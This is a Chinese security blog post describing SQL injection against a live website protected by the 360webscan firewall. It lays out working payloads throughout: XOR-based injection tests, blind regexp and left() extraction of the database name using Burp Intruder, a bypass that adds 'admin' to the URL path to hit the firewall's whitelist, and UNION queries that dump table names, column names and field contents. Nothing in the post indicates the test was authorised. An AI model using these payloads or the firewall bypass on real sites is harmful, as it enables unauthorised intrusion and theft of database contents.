标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2150] 作者: 对不起 发表于: [2018-11-02]
本文共 [410] 位读者顶过
前言今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。 [出自:jiwo.org] 进入主题1. 判断注入点使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。 但是按位异或运算(^)未被拦截也可以使用xor。 “按位异或运算”测试: 在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:
具体原理参考:https://blog.csdn.net/zpy1998zpy/article/details/80667775 栗子: 在这里我们对我们的网站进行测试: 页面正常payload:xxxnid=216^(1=1)^1 3. 使用“按位异或运算”判断一下当前数据库名称的长度:Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1 然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。 payload type设置为numbers遍历1-15这15个数字。 最终我们得到数据库字段的长度为13。 4. 使用“按位异或运算”结合盲注来获取数据库名称:这里我们使用的是regexp正则注入,简单介绍一下: 用法:select user() regexp ‘^[a-z]’; 这里是在匹配用户名的第一位: 继续匹配第二位的用法:select user() regexp ‘^r[a-z]’; 类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。 构造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1 在这里我们将从数据库的第一个字段开始进行盲注。 这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。 爆破出数据库的第一个参数是“p”。 依次爆破,最终我们得到了数据库名称。 5. 接下来就是构造获取表名的payload了。我们使用left()函数进行构造,先来看一个的栗子: select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';
由此我们可以构造payload为: xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1
事情并不是一帆风顺的,360webscan再次拦截,经测试,拦截的是from关键字,这就很难受了,测试了很多方法都没有绕过过滤,内联注释、编码、干扰正则等方法都没办法。 将from加上别的字符就不拦截。。 6. 最后还是找到了“楼兰”大佬帮忙。大佬告诉我,360的webscan是可以绕过的,原来360webscan自己有定义一个白名单,只要URL路径中出现了admin等关键字时候就能绕过检测。 后来大佬又给我推荐了一篇文章,讲的是绕过360webscan的原理,这篇文章讲的真好,附上文章链接:https://www.leavesongs.com/penetration/360webscan-bypass.html。后来我在网上一搜,原来已经有不少前辈研究过这个绕过方法啦,需要学习的东西真的很多,加油! 最后自己也去看了一下360webscan的源码,白名单如下:(代码地址:https://github.com/baiqj/host_manager/tree/master/other/360safe) 再次构造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- - 7. 接下来就好说了,都是常规操作了这里我们先看一下当前数据库名称,可以看到,和我们之前盲注得到的数据库名称是一致的。 Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -
接下来是爆出所有的表名: Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- - 爆出所有字段名称: Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- - 爆字段内容: Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- - 总结
|